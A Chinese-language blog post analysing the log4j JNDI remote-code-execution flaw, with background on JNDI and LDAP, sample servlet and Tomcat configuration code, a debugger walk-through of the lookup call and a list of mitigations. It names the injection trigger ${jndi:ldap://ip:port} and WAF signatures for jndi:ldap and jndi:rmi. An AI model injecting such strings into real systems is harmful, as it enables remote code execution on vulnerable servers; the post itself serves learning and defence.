首页 > 编程语言 >漏洞分析-log4j RCE-JAVA篇

漏洞分析-log4j RCE-JAVA篇

时间:2023-02-19 13:56:04浏览次数:48  
标签:JAVA java sql jndi lookup import RCE log4j

0x00 原理分析

log4j的介绍:

log4j是java打印输出日志的一个API,只要引入了log4j的jar包或者是在xml配置文件内配置好log4j即可输入java运行时产生的日志内容,一般用于记录网站的日志信息,比如用户登录、修改用户信息等sql查询操作。列如,在下图中,启动web服务,在lib目录下引入log4j的jar包(API工具包),当用户进行登录时,就能获取到用户的操作日志,如登录查询数据库内的某个表:

 

 当用户输入账号密码时,log4j会打印其debug日志信息,包含账号密码等(这里存在一个信息泄露的风险)

 

 jndi的介绍:

然后介绍一下jndi这个的含义:jndi(Java Naming and Directory Interface)看英文意思就明白,是java的命名和目录接口。

用法是:jndi:协议://目录(远程服务器的资源),以jndi为分界线,冒号后面的内容是jndi传入的内容,jndi接口会通过传入的内容去调用lookup方法。

这里需要浅谈一下jndi的使用:配置了很久,实战终于理解了jndi的含义,他原本的作用本来是用来做数据库连接使用的,就是通过配置,让tomcat提供一个上下文context对象,这个对象可以通过lookup方法设置好目录来,然后建立与数据库的连接。

(1)servlet代码:

package com.example.day45_jndi;

import java.io.*;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
import javax.sql.DataSource;
@WebServlet("/test")
public class HelloServlet extends HttpServlet {
        @Override
        protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
            try {
                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出错,这里要进行导包操作,导入数据库与java的驱动包
                resp.getWriter().println(conn);;
                PreparedStatement ps = conn.prepareStatement("select * from tb_user");
                ResultSet rs = ps.executeQuery();
                resp.getWriter().println(rs.next());
                resp.getWriter().println(rs.getString(1));
                resp.getWriter().println(rs.getString(2));
                resp.getWriter().println(rs.getString(3));
                rs.close();
                conn.close();
            } catch (Exception e) {
                e.printStackTrace();

            }
        }
    }

(2)tomcat的conf目录下的context.xml配置增加:

<Resource 
       name="jdbc/day38" 
       auth="Container" 
       type="javax.sql.DataSource"
       maxActive="100" 
       maxIdle="30" 
       maxWait="10000"
       username="root" 
       password="root" 
       driverClassName="com.mysql.jdbc.Driver"
       url="jdbc:mysql://localhost:3306/day38"
    />

 

 

 (3)web.xml的配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <welcome-file-list>
        <welcome-file>index.html</welcome-file>
    </welcome-file-list>
    <resource-ref>
        <res-ref-name>jdbc/mysql</res-ref-name>
        <res-type>javax.sql.DataSource</res-type>
        <res-auth>Container</res-auth>
    </resource-ref>
</web-app>

 

 (4)容易出错的点:需要导入一个jar包:可以直接在pom.xml中新增依赖

      <dependency>
          <groupId>mysql</groupId>
          <artifactId>mysql-connector-java</artifactId>
          <version>5.1.22</version>
      </dependency>

 

 

 (5)实现的效果:获取数据库的连接对象及执行sql语句进行查询操作:

 

 

 (6)总结:主要的用法,创建tomcat容器的上下文context,然后通过这个上下文根据目录去实例化一个数据库连接源的对象,再通过这个数据源去创建数据库连接:这里的lookup方法主要就是根据目录去实例化对象用的:

                Context initContext = new InitialContext();
                DataSource ds = (DataSource)initContext.lookup("java:comp/env/jdbc/day38");
                Connection conn = ds.getConnection();//容易出错

 所以可以这样理解,jndi是一种命名方式,是一种规范,提供给lookup方法或其他方法使用。他不止是可以访问jdbc的目录与服务,还可以访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA等

 

 ldap的介绍:

来到ldap就变得更加简单,ldap是一种协议,与rmi的协议类似。都是通过去远程服务器上加载java序列化或反序列化后的对象,然后实例化对象后,方便程序猿在本地调用那个对象的方法。

LDAP全称是Lightweight Directory Access Protocol,轻量目录访问协议。顾名思义,LDAP是设计用来访问目录数据库的一个标准而已。

触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用Java的Lookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用Jndi的Lookup传入值为 ldap://ip:port 。

0x01 效果演示

 

0x02 代码分析

 分析的快捷键:

jndi的命名格式,调用方法为lookup。使用快捷键:ctrl+shift+alt+n,快速查找类中的方法:lookup()

 

然后在此方法处设置断点:debug模式运行java代码:

 

 发现确实存在调用lookup方法:

 

 

 然后调用的lookup方法就会去请求dnslog。

0x03 防御措施

1、采用最新版本的log4j组件

2、恶意流量中可能存在jndi:ladp:// jdni:rmi,IDS和WAF可以编写相应规则从流量中签出攻击流量;

3、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

4、修改配置文件log4j2.formatMsgNoLookups=True

5、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

6、关闭不必要的外网请求;

7、禁用lookup或JNDI服务;

8、jdk升级到最新的版本;

0x04 参考文献

https://blog.csdn.net/philip502/article/details/122255346

标签:JAVA,java,sql,jndi,lookup,import,RCE,log4j
From: https://www.cnblogs.com/cute-puli/p/17134353.html

相关文章

  • Java入门博客
    开始准备 新建一个file->new->project->emptyproject   新建一个file->new->module->java 打开projectstructure,修改这两处   修改注释的颜色 ......
  • Java基础知识点(带返回值方法的定义和调用
    一:带返回值方法的定义方法的返回值其实就是方法运行的最终结果。如果要在调用处根据方法的结果,去编写另外一段逻辑,为了在调用处拿到方法的结果,就需要定义带返回值的方法。eg......
  • LeetCode-53. 最大子数组和(Java)
    一、前言:......
  • Java:使用thumbnailator实现图片压缩处理
    thumbnailator可以实现图片的压缩、旋转、添加水印文档https://github.com/coobird/thumbnailatorhttps://github.com/coobird/thumbnailator/wiki/Examples依赖<!--......
  • Java内存
    系统中的堆、栈和数据结构堆、栈系统中的堆、栈和数据结构堆、栈不是一个概念。可以说系统中的堆、栈是真实的内存物理区,数据结构中的堆、栈是抽象的数据存储结构。数......
  • java序列化反序列化
    序列化概述序列化:将数据结构或对象转换成二进制字节流的过程反序列化:将在序列化过程中所生成的二进制字节流转换成数据结构或者对象的过程TCP/IP四层模型transient......
  • 剑指 Offer 34. 二叉树中和为某一值的路径(java解题)
    目录1.题目2.解题思路3.数据类型功能函数总结4.java代码1.题目给你二叉树的根节点root和一个整数目标和targetSum,找出所有从根节点到叶子节点路径总和等于给......
  • java hssf 写 excle
    在poi-2.5.1.jar下packagecom.club.community.util;importjava.io.File;importjava.io.FileNotFoundException;importjava.io.FileOutputStre......
  • java urlrewrite
    加入urlrewrite-3.2.0.jar包 在web.xml中加入<filter><filter-name>UrlRewriteFilter</filter-name><filter-class>org.tuckey.web.fi......
  • 重温Java重写与重载
    方法重写参数列表必须完全与被重写方法的相同;返回类型必须完全与被重写方法的返回类型相同;访问权限不能比父类中被重写的方法的访问权限更低。例......